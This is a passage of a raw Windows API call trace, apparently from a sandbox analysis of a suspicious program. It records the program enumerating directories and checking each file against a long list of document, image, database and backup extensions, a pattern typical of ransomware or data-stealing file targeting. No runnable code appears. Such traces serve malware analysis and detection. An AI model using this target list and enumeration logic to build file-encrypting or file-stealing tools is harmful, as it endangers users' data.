lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0100.362] lstrlenW (lpString=".dt") returned 3 [0100.362] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0100.362] lstrlenW (lpString=".dtd") returned 4 [0100.362] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0100.362] lstrlenW (lpString=".dwg") returned 4 [0100.362] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0100.362] lstrlenW (lpString=".dwt") returned 4 [0100.362] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1 [0100.362] lstrlenW (lpString=".dx") returned 3 [0100.362] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1 [0100.362] lstrlenW (lpString=".dxf") returned 4 [0100.362] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1 [0100.363] lstrlenW (lpString=".edml") returned 5 [0100.363] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1 [0100.363] lstrlenW (lpString=".efd") returned 4 [0100.363] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1 [0100.363] lstrlenW (lpString=".elf") returned 4 [0100.363] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1 [0100.363] lstrlenW (lpString=".emf") returned 4 [0100.363] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1 [0100.363] lstrlenW (lpString=".emz") returned 4 [0100.363] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1 [0100.363] lstrlenW (lpString=".epf") returned 4 [0100.363] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1 [0100.363] lstrlenW (lpString=".eps") returned 4 [0100.363] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1 [0100.363] lstrlenW (lpString=".epsf") returned 5 [0100.363] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1 [0100.363] lstrlenW (lpString=".epsp") returned 5 [0100.363] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1 [0100.363] lstrlenW (lpString=".erf") returned 4 [0100.363] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1 [0100.363] lstrlenW (lpString=".exr") returned 4 [0100.363] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1 [0100.363] lstrlenW (lpString=".f4v") returned 4 [0100.363] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1 [0100.363] lstrlenW (lpString=".fido") returned 5 [0100.363] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1 [0100.363] lstrlenW (lpString=".flm") returned 4 [0100.363] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1 [0100.364] lstrlenW (lpString=".flv") returned 4 [0100.364] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1 [0100.364] lstrlenW (lpString=".frm") returned 4 [0100.364] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1 [0100.364] lstrlenW (lpString=".fxg") returned 4 [0100.364] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1 [0100.364] lstrlenW (lpString=".geo") returned 4 [0100.364] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1 [0100.364] lstrlenW (lpString=".gif") returned 4 [0100.364] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1 [0100.364] lstrlenW (lpString=".grs") returned 4 [0100.364] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1 [0100.364] lstrlenW (lpString=".gz") returned 3 [0100.364] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1 [0100.364] lstrlenW (lpString=".h") returned 2 [0100.364] lstrcmpiW (lpString1=".h", lpString2="og") returned -1 [0100.364] lstrlenW (lpString=".hdr") returned 4 [0100.364] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1 [0100.364] lstrlenW (lpString=".hpp") returned 4 [0100.364] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1 [0100.364] lstrlenW (lpString=".hta") returned 4 [0100.364] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1 [0100.364] lstrlenW (lpString=".htc") returned 4 [0100.364] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1 [0100.364] lstrlenW (lpString=".htm") returned 4 [0100.364] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1 [0100.364] lstrlenW (lpString=".html") returned 5 [0100.365] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1 [0100.365] lstrlenW (lpString=".icb") returned 4 [0100.365] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1 [0100.365] lstrlenW (lpString=".ics") returned 4 [0100.365] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1 [0100.365] lstrlenW (lpString=".iff") returned 4 [0100.365] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1 [0100.365] lstrlenW (lpString=".inc") returned 4 [0100.365] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1 [0100.365] lstrlenW (lpString=".indd") returned 5 [0100.365] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1 [0100.365] lstrlenW (lpString=".ini") returned 4 [0100.365] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1 [0100.365] lstrlenW (lpString=".iqy") returned 4 [0100.365] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1 [0100.365] lstrlenW (lpString=".j2c") returned 4 [0100.365] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1 [0100.365] lstrlenW (lpString=".j2k") returned 4 [0100.365] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1 [0100.365] lstrlenW (lpString=".java") returned 5 [0100.365] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1 [0100.365] lstrlenW (lpString=".jp2") returned 4 [0100.365] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1 [0100.365] lstrlenW (lpString=".jpc") returned 4 [0100.365] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1 [0100.365] lstrlenW (lpString=".jpe") returned 4 [0100.365] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1 [0100.366] lstrlenW (lpString=".jpeg") returned 5 [0100.366] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1 [0100.366] lstrlenW (lpString=".jpf") returned 4 [0100.366] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1 [0100.366] lstrlenW (lpString=".jpg") returned 4 [0100.366] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0100.366] lstrlenW (lpString=".jpx") returned 4 [0100.366] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1 [0100.366] lstrlenW (lpString=".js") returned 3 [0100.366] lstrcmpiW (lpString1=".js", lpString2="log") returned -1 [0100.366] lstrlenW (lpString=".jsf") returned 4 [0100.366] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1 [0100.366] lstrlenW (lpString=".json") returned 5 [0100.366] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1 [0100.366] lstrlenW (lpString=".jsp") returned 4 [0100.366] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1 [0100.366] lstrlenW (lpString=".kdc") returned 4 [0100.366] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1 [0100.366] lstrlenW (lpString=".kmz") returned 4 [0100.366] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1 [0100.366] lstrlenW (lpString=".kwm") returned 4 [0100.366] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1 [0100.366] lstrlenW (lpString=".lasso") returned 6 [0100.366] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1 [0100.366] lstrlenW (lpString=".lbi") returned 4 [0100.366] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1 [0100.367] lstrlenW (lpString=".lgf") returned 4 [0100.367] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1 [0100.367] lstrlenW (lpString=".lgp") returned 4 [0100.367] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1 [0100.367] lstrlenW (lpString=".log") returned 4 [0100.367] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0 [0100.367] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0100.367] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0100.367] lstrlenW (lpString=".1cd") returned 4 [0100.367] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0100.367] lstrlenW (lpString=".3ds") returned 4 [0100.367] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0100.367] lstrlenW (lpString=".3fr") returned 4 [0100.367] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0100.367] lstrlenW (lpString=".3g2") returned 4 [0100.367] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0100.367] lstrlenW (lpString=".3gp") returned 4 [0100.367] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0100.367] lstrlenW (lpString=".7z") returned 3 [0100.367] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0100.367] lstrlenW (lpString=".accda") returned 6 [0100.367] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1 [0100.367] lstrlenW (lpString=".accdb") returned 6 [0100.367] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1 [0100.367] lstrlenW (lpString=".accdc") returned 6 [0100.368] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1 [0100.368] lstrlenW (lpString=".accde") returned 6 [0100.368] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1 [0100.368] lstrlenW (lpString=".accdt") returned 6 [0100.368] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1 [0100.368] lstrlenW (lpString=".accdw") returned 6 [0100.368] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1 [0100.368] lstrlenW (lpString=".adb") returned 4 [0100.368] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0100.368] lstrlenW (lpString=".adp") returned 4 [0100.368] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0100.368] lstrlenW (lpString=".ai") returned 3 [0100.368] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0100.368] lstrlenW (lpString=".ai3") returned 4 [0100.368] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0100.368] lstrlenW (lpString=".ai4") returned 4 [0100.368] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0100.368] lstrlenW (lpString=".ai5") returned 4 [0100.368] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0100.368] lstrlenW (lpString=".ai6") returned 4 [0100.368] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0100.368] lstrlenW (lpString=".ai7") returned 4 [0100.368] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0100.368] lstrlenW (lpString=".ai8") returned 4 [0100.368] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0100.368] lstrlenW (lpString=".anim") returned 5 [0100.369] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1 [0100.369] lstrlenW (lpString=".arw") returned 4 [0100.369] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0100.369] lstrlenW (lpString=".as") returned 3 [0100.369] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0100.369] lstrlenW (lpString=".asa") returned 4 [0100.369] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0100.369] lstrlenW (lpString=".asc") returned 4 [0100.369] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0100.369] lstrlenW (lpString=".ascx") returned 5 [0100.369] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1 [0100.369] lstrlenW (lpString=".asm") returned 4 [0100.369] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0100.369] lstrlenW (lpString=".asmx") returned 5 [0100.369] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1 [0100.369] lstrlenW (lpString=".asp") returned 4 [0100.369] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0100.369] lstrlenW (lpString=".aspx") returned 5 [0100.369] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1 [0100.369] lstrlenW (lpString=".asr") returned 4 [0100.369] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0100.369] lstrlenW (lpString=".asx") returned 4 [0100.369] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0100.369] lstrlenW (lpString=".avi") returned 4 [0100.369] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0100.369] lstrlenW (lpString=".avs") returned 4 [0100.369] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0100.370] lstrlenW (lpString=".backup") returned 7 [0100.370] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1 [0100.370] lstrlenW (lpString=".bak") returned 4 [0100.370] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0100.370] lstrlenW (lpString=".bay") returned 4 [0100.370] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0100.370] lstrlenW (lpString=".bd") returned 3 [0100.370] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0100.370] lstrlenW (lpString=".bin") returned 4 [0100.370] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0100.370] lstrlenW (lpString=".bmp") returned 4 [0100.370] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0100.370] lstrlenW (lpString=".bz2") returned 4 [0100.370] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0100.370] lstrlenW (lpString=".c") returned 2 [0100.370] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0100.370] lstrlenW (lpString=".cdr") returned 4 [0100.370] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0100.370] lstrlenW (lpString=".cer") returned 4 [0100.370] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0100.370] lstrlenW (lpString=".cf") returned 3 [0100.370] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0100.370] lstrlenW (lpString=".cfc") returned 4 [0100.370] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0100.370] lstrlenW (lpString=".cfm") returned 4 [0100.370] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0100.371] lstrlenW (lpString=".cfml") returned 5 [0100.371] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1 [0100.371] lstrlenW (lpString=".cfu") returned 4 [0100.371] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0100.371] lstrlenW (lpString=".chm") returned 4 [0100.371] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0100.371] lstrlenW (lpString=".cin") returned 4 [0100.371] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0100.371] lstrlenW (lpString=".class") returned 6 [0100.371] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1 [0100.371] lstrlenW (lpString=".clx") returned 4 [0100.371] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0100.371] lstrlenW (lpString=".config") returned 7 [0100.371] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1 [0100.371] lstrlenW (lpString=".cpp") returned 4 [0100.371] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0100.371] lstrlenW (lpString=".cr2") returned 4 [0100.371] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0100.371] lstrlenW (lpString=".crt") returned 4 [0100.371] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0100.371] lstrlenW (lpString=".crw") returned 4 [0100.371] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0100.371] lstrlenW (lpString=".cs") returned 3 [0100.371] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0100.371] lstrlenW (lpString=".css") returned 4 [0100.371] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0100.371] lstrlenW (lpString=".csv") returned 4 [0100.372] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0100.372] lstrlenW (lpString=".cub") returned 4 [0100.372] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0100.372] lstrlenW (lpString=".dae") returned 4 [0100.372] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0100.372] lstrlenW (lpString=".dat") returned 4 [0100.372] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0100.372] lstrlenW (lpString=".db") returned 3 [0100.372] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0100.372] lstrlenW (lpString=".dbf") returned 4 [0100.372] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0100.372] lstrlenW (lpString=".dbx") returned 4 [0100.372] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0100.372] lstrlenW (lpString=".dc3") returned 4 [0100.372] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0100.372] lstrlenW (lpString=".dcm") returned 4 [0100.372] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0100.372] lstrlenW (lpString=".dcr") returned 4 [0100.372] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0100.372] lstrlenW (lpString=".der") returned 4 [0100.372] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0100.372] lstrlenW (lpString=".dib") returned 4 [0100.372] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0100.372] lstrlenW (lpString=".dic") returned 4 [0100.372] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0100.372] lstrlenW (lpString=".dif") returned 4 [0100.373] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0100.373] lstrlenW (lpString=".divx") returned 5 [0100.373] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1 [0100.373] lstrlenW (lpString=".djvu") returned 5 [0100.373] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1 [0100.373] lstrlenW (lpString=".dng") returned 4 [0100.373] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0100.373] lstrlenW (lpString=".doc") returned 4 [0100.373] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0100.373] lstrlenW (lpString=".docm") returned 5 [0100.373] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1 [0100.373] lstrlenW (lpString=".docx") returned 5 [0100.373] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0100.373] lstrlenW (lpString=".dot") returned 4 [0100.373] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0100.373] lstrlenW (lpString=".dotm") returned 5 [0100.373] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1 [0100.373] lstrlenW (lpString=".dotx") returned 5 [0100.373] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1 [0100.373] lstrlenW (lpString=".dpx") returned 4 [0100.373] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0100.373] lstrlenW (lpString=".dqy") returned 4 [0100.373] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0100.373] lstrlenW (lpString=".dsn") returned 4 [0100.373] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0100.373] lstrlenW (lpString=".dt") returned 3 [0100.373] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0100.374] lstrlenW (lpString=".dtd") returned 4 [0100.374] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0100.374] lstrlenW (lpString=".dwg") returned 4 [0100.374] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0100.374] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0100.374] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0 [0100.374] FindClose (in: hFindFile=0x4290800 | out: hFindFile=0x4290800) returned 1 [0100.376] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0100.376] FindNextFileW (in: hFindFile=0x5d9818, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0100.376] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0100.376] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290500 [0100.757] FindNextFileW (in: hFindFile=0x4290500, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.757] FindNextFileW (in: hFindFile=0x4290500, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0100.757] FindNextFileW (in: hFindFile=0x4290500, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1 [0100.757] FindNextFileW (in: hFindFile=0x4290500, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0100.758] FindNextFileW (in: hFindFile=0x4290500, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0100.758] FindNextFileW (in: hFindFile=0x4290500, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0100.758] FindNextFileW (in: hFindFile=0x4290500, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0 [0100.764] FindClose (in: hFindFile=0x4290500 | out: hFindFile=0x4290500) returned 1 [0100.765] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0100.765] FindNextFileW (in: hFindFile=0x5d9818, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0100.765] FindClose (in: hFindFile=0x5d9818 | out: hFindFile=0x5d9818) returned 1 [0100.765] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3c60940 | out: hHeap=0x5c0000) returned 1 [0100.765] FindNextFileW (in: hFindFile=0x5d9a58, lpFindFileData=0x32bfcf8 | out: lpFindFileData=0x32bfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0100.765] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3c60940 [0100.765] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, 